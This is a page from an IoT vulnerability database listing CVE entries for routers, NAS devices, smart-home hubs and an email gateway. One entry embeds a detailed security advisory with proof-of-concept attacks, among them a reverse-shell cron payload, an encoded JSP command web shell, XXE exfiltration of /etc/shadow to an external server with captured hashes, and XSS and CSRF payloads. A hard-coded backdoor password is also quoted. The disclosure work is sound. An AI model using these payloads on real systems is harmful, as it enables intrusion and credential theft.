VARIoT IoT vulnerabilities database

VAR-201803-1431 | CVE-2018-0521 | Multiple vulnerabilities in WXR-1900DHP2 |
CVSS V2: 8.3 CVSS V3: 8.8 Severity: Medium |
Buffalo WXR-1900DHP2 firmware Ver.2.48 and earlier allows an attacker to bypass authentication and execute arbitrary commands on the device via unspecified vectors. WXR-1900DHP2 provided by BUFFALO INC. is a wireless LAN router. WXR-1900DHP2 contains multiple vulnerabilities listed below. * Missing Authentication for Critical Function (CWE-306) - CVE-2018-0521 * Buffer Overflow (CWE-119) - CVE-2018-0522 * OS Command Injection (CWE-78) - CVE-2018-0523 Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.The possible impact of each vulnerability is as follows: * A user with access to the network that is connected to the affected device may execute an arbitrary command on the device - CVE-2018-0521 * If a user views a specially crafted file while logged into the affected device, arbitrary code may be executed - CVE-2018-0522 * A user with access to the network that is connected to the affected device may execute an arbitrary command on the device - CVE-2018-0523
VAR-201802-0135 | CVE-2014-3206 | Seagate BlackArmor NAS Input validation vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Seagate BlackArmor NAS allows remote attackers to execute arbitrary code via the session parameter to localhost/backupmgt/localJob.php or the auth_name parameter to localhost/backupmgmt/pre_connect_check.php. Seagate BlackArmor NAS Contains an input validation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The SeagateBlackArmorNAS is a network storage server from Seagate, Inc. that provides layered protection, data incremental and system backup, recovery, and more for business-critical data. There is a security hole in SeagateBlackArmorNAS. A security flaw exists in Seagate BlackArmor NAS
VAR-201802-0134 | CVE-2014-3205 | BlackArmor NAS Vulnerabilities related to the use of hard-coded credentials |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
backupmgt/pre_connect_check.php in Seagate BlackArmor NAS contains a hard-coded password of '!~@##$$%FREDESWWSED' for a backdoor user. BlackArmor NAS Contains a vulnerability in the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The SeagateBlackArmorNAS is a network storage server from Seagate, Inc. that provides layered protection, data incremental and system backup, recovery, and more for business-critical data. A security vulnerability exists in the backupmgt/pre_connect_check.php file in SeagateBlackArmorNAS, which was caused by the program using a hard-coded password \342\200\230!~@##$$%FREDESWWSED\342\200\231. There are currently no detailed vulnerability descriptions. A remote attacker can exploit this vulnerability to gain root privileges on the device
VAR-201802-0659 | CVE-2018-0519 | Fuji Electric FS010W Cross-Site Scripting Vulnerability |
CVSS V2: 3.5 CVSS V3: 4.8 Severity: MEDIUM |
Cross-site scripting vulnerability in FS010W firmware FS010W_00_V1.3.0 and earlier allows an attacker to inject arbitrary web script or HTML via unspecified vectors. FS010W provided by FUJI SOFT INCORPORATED is a WiFi router. FS010W contains multiple vulnerabilities listed below. * Stored cross-site scripting (CWE-79) - CVE-2018-0519 * Cross-site request forgery (CWE-352) - CVE-2018-0520 Manabu Kobayashi reported these vulnerabilities to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.The possible impact of each vulnerability is as follows: * An arbitrary script may be executed on the web browser of a user who is logging in the setting tool of the device - CVE-2018-0519 * If a user views a malicious page while logged in the setting tool of the affected product, unintended operations such as changing settings of the device may be conducted. - CVE-2018-0520
VAR-201802-1278 | CVE-2018-7298 | eQ-3 AG HomeMatic CCU2 Cryptographic vulnerabilities in devices |
CVSS V2: 9.3 CVSS V3: 8.1 Severity: HIGH |
In /usr/local/etc/config/addons/mh/loopupd.sh on eQ-3 AG HomeMatic CCU2 2.29.22 devices, software update packages are downloaded via the HTTP protocol, which does not provide any cryptographic protection of the downloaded contents. An attacker with a privileged network position (which could be obtained via DNS spoofing of www.meine-homematic.de or other approaches) can exploit this issue in order to provide arbitrary malicious firmware updates to the CCU2. This can result in a full system compromise. eQ-3 AG HomeMatic CCU2 The device contains cryptographic vulnerabilities.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. There is a security vulnerability in the /usr/local/etc/config/addons/mh/loopupd.sh file in the eQ-3 AG HomeMatic CCU2 version 2.29.22
VAR-201802-1279 | CVE-2018-7299 | eQ-3 AG Homematic CCU2 Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 5.2 CVSS V3: 8.0 Severity: HIGH |
Remote Code Execution in the addon installation process in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows authenticated attackers to create or overwrite arbitrary files or install malicious software on the device. eQ-3 AG Homematic CCU2 Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. An attacker could exploit the vulnerability to create or overwrite any file or install malware on the device
VAR-201802-1276 | CVE-2018-7296 | eQ-3 AG Homematic CCU2 Vulnerable to information disclosure |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
Directory Traversal / Arbitrary File Read in User.getLanguage method in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows remote attackers to read the first line of an arbitrary file on the CCU2's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. eQ-3 AG Homematic CCU2 Contains an information disclosure vulnerability.Information may be obtained. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. A directory traversal vulnerability exists in the User.getLanguage method in eQ-3AGHomematicCCU22.29.2 and earlier
VAR-201802-1245 | CVE-2018-7472 | INVT Studio Data processing vulnerability |
CVSS V2: 4.9 CVSS V3: 5.5 Severity: MEDIUM |
INVT Studio 1.2 allows remote attackers to cause a denial of service during import operations. INVT Studio Contains a data processing vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. INVT Studio is a serial and Ethernet-based inverter monitoring system
VAR-201802-0660 | CVE-2018-0520 | Fuji Electric FS010W Cross-Site Request Forgery Vulnerability |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: HIGH |
Cross-site request forgery (CSRF) vulnerability in FS010W firmware FS010W_00_V1.3.0 and earlier allows an attacker to hijack the authentication of administrators via unspecified vectors. FS010W provided by FUJI SOFT INCORPORATED is a WiFi router. FS010W contains multiple vulnerabilities listed below. * Stored cross-site scripting (CWE-79) - CVE-2018-0519 * Cross-site request forgery (CWE-352) - CVE-2018-0520 Manabu Kobayashi reported these vulnerabilities to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.The possible impact of each vulnerability is as follows: * An arbitrary script may be executed on the web browser of a user who is logging in the setting tool of the device - CVE-2018-0519 * If a user views a malicious page while logged in the setting tool of the affected product, unintended operations such as changing settings of the device may be conducted. - CVE-2018-0520. A remote attacker could exploit this vulnerability to perform unauthorized operations
VAR-201802-1281 | CVE-2018-7301 | eQ-3 AG HomeMatic CCU2 Vulnerability related to lack of authentication for critical functions on devices |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
eQ-3 AG HomeMatic CCU2 2.29.22 devices have an open XML-RPC port without authentication. This can be exploited by sending arbitrary XML-RPC requests to control the attached BidCos devices. eQ-3 AG HomeMatic CCU2 Devices are vulnerable to a lack of authentication for critical functions.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. A security vulnerability exists in the eQ-3AGHomeMaticCCU 22.29.22 release
VAR-201802-1277 | CVE-2018-7297 | eQ-3 AG Homematic CCU2 Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Remote Code Execution in the TCL script interpreter in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows remote attackers to obtain read/write access and execute system commands on the device. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. eQ-3 AG Homematic CCU2 Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. TCLscriptinterpreter is one of the script interpreters for the TCL language
VAR-201802-1280 | CVE-2018-7300 | eQ-3 AG Homematic CCU2 Path traversal vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Directory Traversal / Arbitrary File Write / Remote Code Execution in the User.setLanguage method in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows remote attackers to write arbitrary files to the device's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. eQ-3 AG Homematic CCU2 Contains path traversal vulnerabilities and authorization / privilege / access control vulnerabilities.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. A directory traversal vulnerability exists in User.setLanguage in eQ-3AGHomematicCCU22.29.2 and earlier
VAR-201802-0618 | CVE-2018-0015 | AppFormix Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 8.5 CVSS V3: 7.5 Severity: HIGH |
A malicious user with unrestricted access to the AppFormix application management platform may be able to access a Python debug console and execute system commands with root privilege. The AppFormix Agent exposes the debug console on a host where AppFormix Agent is executing. If the host is executing AppFormix Agent, an attacker may access the debug console and execute Python commands with root privilege. Affected AppFormix releases are: All versions up to and including 2.7.3; 2.11 versions prior to 2.11.3; 2.15 versions prior to 2.15.2. Juniper SIRT is not aware of any malicious exploitation of this vulnerability, however, the issue has been seen in a production network. No other Juniper Networks products or platforms are affected by this issue. AppFormix Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Juniper AppFormix is a set of optimization and management software platforms for public cloud, private cloud and hybrid cloud from Juniper Networks
VAR-201803-1795 | CVE-2018-6230 | Trend Micro Email Encryption Gateway In SQL Injection vulnerability |
CVSS V2: 8.3 CVSS V3: 6.8 Severity: MEDIUM |
A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 search configuration script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the wsEmailSearch class. When parsing the SearchString parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code under the context of root.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
